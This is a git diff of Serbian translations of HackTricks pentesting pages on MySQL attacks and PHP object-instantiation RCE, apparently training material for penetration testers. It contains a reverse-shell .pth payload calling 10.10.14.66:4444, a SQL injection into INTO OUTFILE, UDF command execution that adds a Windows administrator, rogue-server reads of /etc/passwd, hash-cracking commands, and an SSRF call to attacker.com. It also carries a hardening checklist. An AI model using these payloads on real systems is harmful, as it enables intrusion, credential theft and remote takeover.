Translated ['', 'src/pentesting-web/file-inclusion/lfi2rce-via-php-filte

2025-10-10 18:36:50 +00:00 · 2025-09-03 19:10:19 +00:00 · 2025-09-03 19:10:19 +00:00 · 15dda02ad8
commit 15dda02ad8
parent d91ef1456f
6 changed files with 648 additions and 579 deletions
--- a/src/network-services-pentesting/pentesting-mysql.md
+++ b/src/network-services-pentesting/pentesting-mysql.md
@ -4,27 +4,28 @@

 ## **Osnovne informacije**

-**MySQL** se može opisati kao open source **Relacijski sistem za upravljanje bazama podataka (RDBMS)** koji je dostupan bez troškova. Radi na **Strukturiranom jeziku upita (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.
+**MySQL** se može opisati kao otvorenog koda **sistem za upravljanje relacionim bazama podataka (RDBMS)** koji je dostupan bez naknade.  
+Radi koristeći **strukturirani upitni jezik (SQL)**, omogućavajući upravljanje i manipulaciju bazama podataka.

 **Podrazumevani port:** 3306
 ```
 3306/tcp open  mysql
 ```
-## **Poveži se**
+## **Povezivanje**

 ### **Lokalno**
 ```bash
 mysql -u root # Connect to root without password
 mysql -u root -p # A password will be asked (check someone)
 ```
-### Udaljeno
+### Daljinski
 ```bash
 mysql -h <Hostname> -u root
 mysql -h <Hostname> -u root@localhost
 ```
-## Spoljašnja enumeracija
+## Spoljna enumeracija

-Neke od akcija enumeracije zahtevaju važeće akreditive
+Neke od radnji enumeracije zahtevaju validne kredencijale
 ```bash
 nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
 msf> use auxiliary/scanner/mysql/mysql_version
@ -36,7 +37,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
 ```
 ### [**Brute force**](../generic-hacking/brute-force.md#mysql)

-### Napišite bilo koje binarne podatke
+### Upis bilo kojih binarnih podataka
 ```bash
 CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
 CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -78,7 +79,7 @@ quit;
 mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
 mysql -u root -h 127.0.0.1 -e 'show databases;'
 ```
-### MySQL Permisije Enumeracija
+### Enumeracija MySQL dozvola
 ```sql
 #Mysql
 SHOW GRANTS [FOR user];
@ -101,7 +102,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
 #@ Functions not from sys. db
 SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
 ```
-Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute)
+U dokumentaciji možete videti značenje svakog privilegija: https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv_execute

 ### MySQL File RCE

@ -110,35 +111,35 @@ Možete videti u dokumentaciji značenje svake privilegije: [https://dev.mysql.c
 ../pentesting-web/sql-injection/mysql-injection/mysql-ssrf.md
 {{#endref}}

-#### INTO OUTFILE → Python `.pth` RCE (konfiguracijski hook-ovi specifični za sajt)
+#### INTO OUTFILE → Python `.pth` RCE (hookovi konfiguracije specifični za sajt)

-Zloupotrebom klasične `INTO OUTFILE` primitive moguće je dobiti *izvršavanje proizvoljnog koda* na ciljevima koji kasnije pokreću **Python** skripte.
+Zloupotrebom klasičnog `INTO OUTFILE` primitive moguće je dobiti *proizvoljno izvršavanje koda* na ciljevima koji kasnije pokreću **Python** skripte.

-1. Koristite `INTO OUTFILE` da biste postavili prilagođeni **`.pth`** fajl unutar bilo kog direktorijuma koji se automatski učitava od strane `site.py` (npr. `.../lib/python3.10/site-packages/`).
-2. `.pth` fajl može sadržati *jednu liniju* koja počinje sa `import ` praćenom proizvoljnim Python kodom koji će se izvršavati svaki put kada se interpreter pokrene.
-3. Kada se interpreter implicitno izvršava putem CGI skripte (na primer `/cgi-bin/ml-draw.py` sa shebang `#!/bin/python`), payload se izvršava sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuno pre-auth RCE).
+1. Koristite `INTO OUTFILE` da ispišete prilagođenu **`.pth`** datoteku u bilo koji direktorijum koji se automatski učitava preko `site.py` (npr. `.../lib/python3.10/site-packages/`).
+2. `.pth` datoteka može sadržati *jedan red* koji počinje sa `import ` praćen proizvoljnim Python kodom koji će se izvršiti svaki put kada se interpreter pokrene.
+3. Kada se interpreter implicitno pokrene od strane CGI skripta (na primer `/cgi-bin/ml-draw.py` sa shebangom `#!/bin/python`) payload će se izvršiti sa istim privilegijama kao proces web-servera (FortiWeb ga je pokrenuo kao **root** → potpuni pre-auth RCE).

-Primer `.pth` payload-a (jedna linija, bez razmaka koji se mogu uključiti u konačni SQL payload, tako da hex/`UNHEX()` ili spajanje stringova može biti potrebno):
+Primer `.pth` payload-a (jedan red, u finalnom SQL payload-u ne mogu se uključiti razmaci, pa može biti neophodno koristiti hex/`UNHEX()` ili konkatenaciju stringova):
 ```python
 import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
 ```
-Primer kreiranja fajla kroz **UNION** upit (prostorni karakteri zamenjeni sa `/**/` kako bi se zaobišao `sscanf("%128s")` filter za prostore i zadržala ukupna dužina ≤128 bajtova):
+Primer sastavljanja fajla putem **UNION** upita (karakteri razmaka zamenjeni sa `/**/` da bi se zaobišao `sscanf("%128s")` filter za razmake i održala ukupna dužina ≤128 bajtova):
 ```sql
 '/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
 ```
-Važne ograničenja i zaobilaženja:
+Važna ograničenja i zaobilaženja:

 * `INTO OUTFILE` **ne može prepisati** postojeće datoteke; izaberite novo ime datoteke.
-* Putanja do datoteke se rešava **u odnosu na MySQL-ov CWD**, tako da prefiksiranje sa `../../` pomaže da se skraćuje putanja i zaobiđu ograničenja apsolutne putanje.
-* Ako je unos napadača izvučen sa `%128s` (ili slično), svaki razmak će skratiti payload; koristite MySQL komentare `/**/` ili `/*!*/` da zamenite razmake.
-* MySQL korisnik koji izvršava upit treba da ima `FILE` privilegiju, ali u mnogim uređajima (npr. FortiWeb) usluga se pokreće kao **root**, što daje pristup za pisanje gotovo svuda.
+* Putanja fajla se rešava **relative to MySQL’s CWD**, pa prefiks `../../` pomaže da se skrati putanja i zaobiđu ograničenja apsolutne putanje.
+* Ako se attacker input ekstrahuje sa `%128s` (ili slično), svaki razmak će prekinuti payload; koristite MySQL comment sequences `/**/` ili `/*!*/` umesto razmaka.
+* MySQL korisnik koji izvršava upit treba privilegiju `FILE`, ali na mnogim appliance-ima (npr. FortiWeb) servis radi kao **root**, što omogućava mogućnost pisanja gotovo svuda.

-Nakon što se izbaci `.pth`, jednostavno zatražite bilo koji CGI koji obrađuje python interpreter da biste dobili izvršenje koda:
+Nakon postavljanja `.pth`, jednostavno pozovite bilo koji CGI koji obrađuje python interpreter da biste dobili code execution:
 ```
 GET /cgi-bin/ml-draw.py HTTP/1.1
 Host: <target>
 ```
-Python proces će automatski uvesti zlonamerni `.pth` i izvršiti shell payload.
+Python proces će automatski importovati zlonamerni `.pth` i izvršiti shell payload.
 ```
 # Attacker
 $ nc -lvnp 4444
@ -147,23 +148,22 @@ uid=0(root) gid=0(root) groups=0(root)
 ```
 ---

-## MySQL proizvoljno čitanje datoteka od strane klijenta
+## MySQL proizvoljno čitanje fajla preko client-a

-Zapravo, kada pokušate da **učitate podatke lokalno u tabelu** **sadržaj datoteke**, MySQL ili MariaDB server traži od **klijenta da je pročita** i pošalje sadržaj. **Tada, ako možete da manipulišete mysql klijentom da se poveže na vaš vlastiti MySQL server, možete čitati proizvoljne datoteke.**\
-Molimo vas da obratite pažnju da je ovo ponašanje korišćenjem:
+Zapravo, kada pokušate da **load data local into a table** **sadržaj fajla** MySQL ili MariaDB server traži od **client-a da ga pročita** i pošalje sadržaj. **Zatim, ako možete manipulisati mysql client da se poveže na vaš sopstveni MySQL server, možete pročitati proizvoljne fajlove.**\
+Obratite pažnju da je ovo ponašanje pri korišćenju:
 ```bash
 load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
 ```
-(Obratite pažnju na reč "local")\
-Jer bez "local" možete dobiti:
+(Обратите пажњу на реч "local")\Зато што без "local" можете добити:
 ```bash
 mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';

 ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
 ```
-**Initial PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
-**U ovom radu možete videti potpun opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
-**Ovde možete pronaći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
+**Početni PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
+**U ovom radu možete naći kompletan opis napada i čak kako ga proširiti na RCE:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
+**Ovde možete naći pregled napada:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)



@ -171,25 +171,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti

 ## POST

-### Mysql User
+### Mysql korisnik

-Biće veoma zanimljivo ako mysql radi kao **root**:
+Biće veoma interesantno ako mysql radi kao **root**:
 ```bash
 cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
 systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
 ```
-#### Opasne postavke mysqld.cnf
+#### Opasna podešavanja mysqld.cnf

-U konfiguraciji MySQL usluga, različite postavke se koriste za definisanje njenog rada i mera sigurnosti:
+U konfiguraciji MySQL servisa koriste se različita podešavanja za definisanje njegovog rada i bezbednosnih mera:

- Postavka **`user`** se koristi za određivanje korisnika pod kojim će MySQL usluga biti izvršena.
- **`password`** se primenjuje za uspostavljanje lozinke povezane sa MySQL korisnikom.
- **`admin_address`** specificira IP adresu koja sluša na TCP/IP konekcijama na administrativnom mrežnom interfejsu.
- Varijabla **`debug`** ukazuje na trenutne konfiguracije za debagovanje, uključujući osetljive informacije unutar logova.
- **`sql_warnings`** upravlja time da li se generišu informacione stringovi za INSERT izjave sa jednim redom kada se pojave upozorenja, sadržeći osetljive podatke unutar logova.
- Sa **`secure_file_priv`**, opseg operacija uvoza i izvoza podataka je ograničen radi poboljšanja sigurnosti.
+- Podešavanje **`user`** se koristi za označavanje korisnika pod kojim će MySQL servis biti pokrenut.
+- **`password`** se koristi za postavljanje lozinke povezane sa MySQL korisnikom.
+- **`admin_address`** određuje IP adresu koja sluša za TCP/IP konekcije na administrativnom mrežnom interfejsu.
+- Promenljiva **`debug`** označava aktuelne debug konfiguracije, koje mogu uključivati osetljive informacije u logovima.
+- **`sql_warnings`** kontroliše da li se generišu informativni stringovi za single-row INSERT statements kada se pojave upozorenja, koji mogu sadržati osetljive podatke u logovima.
+- Sa **`secure_file_priv`**, opseg import/export operacija je ograničen da bi se poboljšala bezbednost.

-### Eskalacija privilegija
+### Privilege escalation
 ```bash
 # Get current user (an all users) privileges and hashes
 use mysql;
@ -207,18 +207,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
 # Get a shell (with your permissions, usefull for sudo/suid privesc)
 \! sh
 ```
-### Eskalacija privilegija putem biblioteke
+### Privilege Escalation via library

-Ako **mysql server radi kao root** (ili kao neki drugi korisnik sa višim privilegijama), možete ga naterati da izvršava komande. Za to, potrebno je da koristite **funkcije definisane od strane korisnika**. A da biste kreirali funkciju definisanu od strane korisnika, biće vam potrebna **biblioteka** za operativni sistem na kojem radi mysql.
+Ako je **mysql server is running as root** (ili neki drugi korisnik sa većim privilegijama), možete ga naterati da izvršava komande. Za to treba da koristite **user defined functions**. A da biste kreirali user defined funkciju, biće vam potrebna **library** za OS na kome radi mysql.

-Zloćudna biblioteka koja se koristi može se pronaći unutar sqlmap-a i unutar metasploit-a tako što ćete uraditi **`locate "*lib_mysqludf_sys*"`**. **`.so`** datoteke su **linux** biblioteke, a **`.dll`** su one za **Windows**, izaberite onu koja vam je potrebna.
+Zlonamerna **library** koju treba koristiti možete naći u sqlmap i u metasploit tako što ćete pokrenuti **`locate "*lib_mysqludf_sys*"`**. Datoteke **`.so`** su **linux** libraries, a **`.dll`** su **Windows** ones — izaberite onu koja vam treba.

-Ako **nemate** te biblioteke, možete ili **potražiti** ih, ili preuzeti ovaj [**linux C kod**](https://www.exploit-db.com/exploits/1518) i **kompilirati ga unutar linux ranjive mašine**:
+Ako **nemate** te libraries, možete ih ili **potražiti**, ili preuzeti ovaj [**linux C code**](https://www.exploit-db.com/exploits/1518) i **kompajlirajte ga na ranjivom linux sistemu**:
 ```bash
 gcc -g -c raptor_udf2.c
 gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
 ```
-Sada kada imate biblioteku, prijavite se u Mysql kao privilegovani korisnik (root?) i pratite sledeće korake:
+Sada kada imate biblioteku, prijavite se u Mysql kao privilegovani korisnik (root?) i sledite sledeće korake:

 #### Linux
 ```sql
@ -252,29 +252,38 @@ CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
 SELECT sys_exec("net user npn npn12345678 /add");
 SELECT sys_exec("net localgroup Administrators npn /add");
 ```
-### Izvlačenje MySQL kredencijala iz fajlova
+#### Windows savet: kreirajte direktorijume sa NTFS ADS iz SQL-a

-Unutar _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
+Na NTFS-u možete prisiliti kreiranje direktorijuma koristeći alternate data stream čak i kada postoji samo file write primitive. Ako classic UDF chain očekuje `plugin` direktorijum, ali on ne postoji i `@@plugin_dir` je nepoznat ili zaključan, možete ga prvo kreirati pomoću `::$INDEX_ALLOCATION`:
+```sql
+SELECT 1 INTO OUTFILE 'C:\\MySQL\\lib\\plugin::$INDEX_ALLOCATION';
+-- After this, `C:\\MySQL\\lib\\plugin` exists as a directory
+```
+Ovo pretvara ograničeni `SELECT ... INTO OUTFILE` u potpuniji primitiv na Windows stackovima kreiranjem potrebne strukture direktorijuma za UDF drops.
+
+### Ekstrakcija MySQL kredencijala iz fajlova
+
+U fajlu _/etc/mysql/debian.cnf_ možete pronaći **lozinku u običnom tekstu** korisnika **debian-sys-maint**
 ```bash
 cat /etc/mysql/debian.cnf
 ```
-Možete **koristiti ove akreditive za prijavu u mysql bazu podataka**.
+Možete **koristiti ove kredencijale da se prijavite u mysql bazu podataka**.

-Unutar datoteke: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hešove MySQL korisnika** (one koje možete izvući iz mysql.user unutar baze podataka)_._
+Unutar fajla: _/var/lib/mysql/mysql/user.MYD_ možete pronaći **sve hashes MySQL korisnika** (koje možete izvući iz mysql.user unutar baze podataka)_._

-Možete ih izvući tako što ćete:
+Možete ih izvući na sledeći način:
 ```bash
 grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
 ```
 ### Omogućavanje logovanja

-Možete omogućiti logovanje mysql upita unutar `/etc/mysql/my.cnf` otkomentarisanjem sledećih linija:
+Možete omogućiti logovanje mysql upita u fajlu `/etc/mysql/my.cnf` tako što ćete otkomentarisati sledeće linije:

 ![](<../images/image (899).png>)

-### Korisni fajlovi
+### Korisne datoteke

-Konfiguracioni fajlovi
+Configuration Files

 - windows \*
 - config.ini
@ -289,14 +298,14 @@ Konfiguracioni fajlovi
 - /var/lib/mysql/my.cnf
 - \~/.my.cnf
 - /etc/my.cnf
- Istorija komandi
+- Command History
 - \~/.mysql.history
- Log fajlovi
+- Log Files
 - connections.log
 - update.log
 - common.log

-## Podrazumevana MySQL Baza Podataka/Tabele
+## Podrazumevane MySQL baze/tabele

 {{#tabs}}
 {{#tab name="information_schema"}}
@ -599,7 +608,7 @@ x$session\
 x$statement_analysis\
 x$statements\_with\_errors\_or\_warnings\
 x$statements_with_full_table_scans\
-x$statements\_with\_runtimes\_in\_95th\_percentile\
+x$statements\_with\_runtimes\_in_95th_percentile\
 x$statements_with_sorting\
 x$statements\_with\_temp\_tables\
 x$user_summary\
@ -607,7 +616,7 @@ x$user\_summary\_by\_file\_io\
 x$user_summary_by_file_io_type\
 x$user\_summary\_by\_stages\
 x$user_summary_by_statement_latency\
-x$user\_summary\_by\_statement\_type\
+x$user\_summary_by_statement\_type\
 x$wait_classes_global_by_avg_latency\
 x$wait\_classes\_global\_by\_latency\
 x$waits_by_host_by_latency\
@ -616,7 +625,7 @@ x$waits_global_by_latency
 {{#endtab}}
 {{#endtabs}}

-## HackTricks Automatske Komande
+## HackTricks automatske komande
 ```
 Protocol_Name: MySql    #Protocol Abbreviation if there is one.
 Port_Number:  3306     #Comma separated if there is more than one.
@ -647,36 +656,36 @@ Note: sourced from https://github.com/carlospolop/legion
 Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'

 ```
-## 2023-2025 Highlights (new)
+## 2023-2025 Najvažnije (novo)

 ### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
-Od Connector/J <= 8.0.32, napadač koji može da utiče na **JDBC URL** (na primer, u softveru treće strane koji traži string za konekciju) može da zatraži učitavanje proizvoljnih klasa na *klijentskoj* strani putem `propertiesTransform` parametra. Ako je gadget prisutan na class-path-u i može se učitati, to rezultira u **daljinskom izvršavanju koda u kontekstu JDBC klijenta** (pre-autentifikacija, jer nisu potrebne validne kredencijale). Minimalni PoC izgleda ovako:
+Od Connector/J <= 8.0.32, napadač koji može da utiče na **JDBC URL** (na primer u third-party softveru koji traži connection string) može zahtevati učitavanje proizvoljnih klasa na *klijentskoj* strani preko parametra `propertiesTransform`. Ako se na class-path nalazi gadget koji može biti učitan, to rezultira u **remote code execution in the context of the JDBC client** (pre-auth, jer nisu potrebni validni kredencijali). Minimalni PoC izgleda ovako:
 ```java
 jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
 ```
-Pokretanje `Evil.class` može biti jednostavno kao postavljanje na class-path ranjive aplikacije ili dozvoljavanje zloćudnom MySQL serveru da pošalje maliciozni serijalizovani objekat. Problem je rešen u Connector/J 8.0.33 – nadogradite drajver ili eksplicitno postavite `propertiesTransform` na listu dozvoljenih.
-(Pogledajte Snyk izveštaj za detalje)
+Pokretanje `Evil.class` može biti tako jednostavno kao postavljanje iste na class-path ranjive aplikacije ili omogućavanje da rogue MySQL server pošalje maliciozan serializovani objekat. Problem je ispravljen u Connector/J 8.0.33 – nadogradite driver ili eksplicitno podesite `propertiesTransform` na allow-list.
+(Pogledajte Snyk write-up za detalje)

-### Napadi zloćudnog / lažnog MySQL servera protiv JDBC klijenata
-Nekoliko alata otvorenog koda implementira *delimični* MySQL protokol kako bi napali JDBC klijente koji se povezuju ka spolja:
+### Napadi Rogue / Fake MySQL servera protiv JDBC klijenata
+Nekoliko open-source alata implementira *delimičan* MySQL protokol kako bi napali JDBC klijente koji se konektuju spolja:

-* **mysql-fake-server** (Java, podržava eksploate čitanja datoteka i deserializacije)
+* **mysql-fake-server** (Java, podržava čitanje fajlova i deserialization exploite)
 * **rogue_mysql_server** (Python, slične mogućnosti)

-Tipične putanje napada:
+Tipični putevi napada:

 1. Aplikacija žrtve učitava `mysql-connector-j` sa `allowLoadLocalInfile=true` ili `autoDeserialize=true`.
-2. Napadač kontroliše DNS / unos hosta tako da se ime hosta baze podataka rešava na mašinu pod njihovom kontrolom.
-3. Maliciozni server odgovara sa kreiranim paketima koji aktiviraju ili `LOCAL INFILE` proizvoljno čitanje datoteka ili Java deserializaciju → RCE.
+2. Napadač kontroliše DNS / host unos tako da se hostname baze podataka razreši na mašinu pod njegovom kontrolom.
+3. Maliciozni server odgovara pripremljenim paketima koji pokreću ili `LOCAL INFILE` za proizvoljno čitanje fajlova ili Java deserialization → RCE.

-Primer jedne linije za pokretanje lažnog servera (Java):
+Primer jednolinijske komande za pokretanje fake servera (Java):
 ```bash
 java -jar fake-mysql-cli.jar -p 3306  # from 4ra1n/mysql-fake-server
 ```
-Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena datoteke kao base64 u polju *username* (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).
+Zatim usmerite aplikaciju žrtve na `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` i pročitajte `/etc/passwd` kodiranjem imena fajla u base64 u *username* polju (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`).

-### Razbijanje `caching_sha2_password` hešova
-MySQL ≥ 8.0 čuva hešove lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mod **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline razbijanje od 2023. Ispraznite kolonu `authentication_string` i direktno je unesite:
+### Cracking `caching_sha2_password` hashes
+MySQL ≥ 8.0 čuva heševe lozinki kao **`$mysql-sha2$`** (SHA-256). I Hashcat (mode **21100**) i John-the-Ripper (`--format=mysql-sha2`) podržavaju offline cracking od 2023. Izdvojite kolonu `authentication_string` i prosledite je direktno:
 ```bash
 # extract hashes
 echo "$mysql-sha2$AABBCC…" > hashes.txt
@ -685,19 +694,22 @@ hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
 # John the Ripper
 john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
 ```
-### Lista za učvršćivanje (2025)
-• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da biste onemogućili većinu primitava za čitanje/pisanje datoteka.  
-• Uklonite **`FILE`** privilegiju sa aplikacionih naloga.  
+### Kontrolna lista za hardening (2025)
+• Postavite **`LOCAL_INFILE=0`** i **`--secure-file-priv=/var/empty`** da onemogućite većinu primitiva za čitanje/pisanje fajlova.  
+• Uklonite **`FILE`** privilegiju sa naloga aplikacija.  
 • Na Connector/J postavite `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (prazno).  
-• Onemogućite neiskorišćene autentifikacione plugine i **zahtevajte TLS** (`require_secure_transport = ON`).  
-• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i iznenadne `SET GLOBAL` izjave.  
+• Onemogućite neupotrebljene authentication pluginove i **require TLS** (`require_secure_transport = ON`).  
+• Pratite `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` i nagle `SET GLOBAL` naredbe.

 ---

-## Reference
+## Izvori
 - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
 - [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
 - [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
+- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
+
+

 - [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)

--- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
+++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md
@ -1,4 +1,4 @@
-# PHP - RCE zloupotreba kreiranja objekata: new $\_GET\["a"]\($\_GET\["b"])
+# PHP - RCE zloupotreba kreiranja objekata: new $_GET["a"]($_GET["b"])

 {{#include ../../../banners/hacktricks-training.md}}

@ -6,11 +6,11 @@ Ovo je u suštini sažetak [https://swarm.ptsecurity.com/exploiting-arbitrary-ob

 ## Uvod

-Kreiranje novih proizvoljnih objekata, kao što je `new $_GET["a"]($_GET["a"])`, može dovesti do daljinskog izvršavanja koda (RCE), kako je detaljno opisano u [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ovaj dokument ističe različite strategije za postizanje RCE.
+Kreiranje proizvoljnih novih objekata, kao što je `new $_GET["a"]($_GET["a"])`, može dovesti do Remote Code Execution (RCE), kako je detaljno opisano u [**writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/). Ovaj dokument ističe različite strategije za postizanje RCE.

-## RCE putem prilagođenih klasa ili automatskog učitavanja
+## RCE putem prilagođenih klasa ili autoloadinga

-Sintaksa `new $a($b)` se koristi za instanciranje objekta gde **`$a`** predstavlja ime klase, a **`$b`** je prvi argument prosleđen konstruktoru. Ove promenljive mogu biti dobijene iz korisničkih unosa kao što su GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao druge vrste.
+Sintaksa `new $a($b)` se koristi za instanciranje objekta gde **`$a`** predstavlja ime klase, a **`$b`** je prvi argument koji se prosleđuje konstruktoru. Ove promenljive mogu poticati iz inputa korisnika poput GET/POST, gde mogu biti stringovi ili nizovi, ili iz JSON-a, gde se mogu pojaviti kao drugi tipovi.

 Razmotrite sledeći kod:
 ```php
@ -31,9 +31,9 @@ $b = $_GET['b'];

 new $a($b);
 ```
-U ovom slučaju, postavljanje `$a` na `App` ili `App2` i `$b` na sistemsku komandu (npr., `uname -a`) rezultira izvršavanjem te komande.
+U ovom slučaju, postavljanje `$a` na `App` ili `App2` i `$b` na sistemsku naredbu (npr. `uname -a`) dovodi do izvršavanja te naredbe.

-**Autoloading funkcije** mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se koristeći `spl_autoload_register` ili `__autoload`:
+**Funkcije za automatsko učitavanje** mogu biti iskorišćene ako takve klase nisu direktno dostupne. Ove funkcije automatski učitavaju klase iz fajlova kada su potrebne i definišu se pomoću `spl_autoload_register` ili `__autoload`:
 ```php
 spl_autoload_register(function ($class_name) {
 include './../classes/' . $class_name . '.php';
@ -45,52 +45,76 @@ include $class_name . '.php';

 spl_autoload_register();
 ```
-Ponašanje automatskog učitavanja varira sa verzijama PHP-a, nudeći različite RCE mogućnosti.
+Ponašanje automatskog učitavanja (autoloading) varira u zavisnosti od verzije PHP-a, što pruža različite mogućnosti za RCE.

-## RCE putem ugrađenih klasa
+## RCE kroz ugrađene klase

-U nedostatku prilagođenih klasa ili automatskih učitavača, **ugrađene PHP klase** mogu biti dovoljne za RCE. Broj ovih klasa kreće se između 100 i 200, u zavisnosti od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći `get_declared_classes()`.
+U nedostatku prilagođenih klasa ili autoloadera, **ugrađene PHP klase** mogu biti dovoljne za RCE. Broj ovih klasa kreće se između 100 i 200, zavisno od verzije PHP-a i ekstenzija. Mogu se nabrojati koristeći `get_declared_classes()`.

-Konstruktori od interesa mogu se identifikovati putem refleksije API-ja, kao što je prikazano u sledećem primeru i linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).
+Konstruktori od interesa mogu se identifikovati putem reflection API-ja, kao što je prikazano u sledećem primeru i na linku [https://3v4l.org/2JEGF](https://3v4l.org/2JEGF).

 **RCE putem specifičnih metoda uključuje:**

-### **SSRF + Phar deserializacija**
+### **SSRF + Phar Deserialization**

-Klasa `SplFileObject` omogućava SSRF putem svog konstruktora, omogućavajući veze sa bilo kojim URL-om:
+Klasa `SplFileObject` omogućava SSRF kroz njen konstruktor, dozvoljavajući konekcije na bilo koji URL:
 ```php
 new SplFileObject('http://attacker.com/');
 ```
-SSRF može dovesti do napada deserializacije u verzijama PHP-a pre 8.0 koristeći Phar protokol.
+SSRF može dovesti do deserializacionih napada u verzijama PHP-a pre 8.0 koristeći Phar protokol.

-### **Iskorišćavanje PDO-a**
+### **Exploiting PDOs**

-Konstruktor klase PDO omogućava povezivanje sa bazama podataka putem DSN stringova, potencijalno omogućavajući kreiranje fajlova ili druge interakcije:
+Konstruktor klase PDO omogućava konekcije ka bazama podataka preko DSN stringova, potencijalno omogućavajući kreiranje fajlova ili druge interakcije:
 ```php
 new PDO("sqlite:/tmp/test.txt")
 ```
 ### **SoapClient/SimpleXMLElement XXE**

-Verzije PHP-a do 5.3.22 i 5.4.12 bile su podložne XXE napadima putem `SoapClient` i `SimpleXMLElement` konstruktora, u zavisnosti od verzije libxml2.
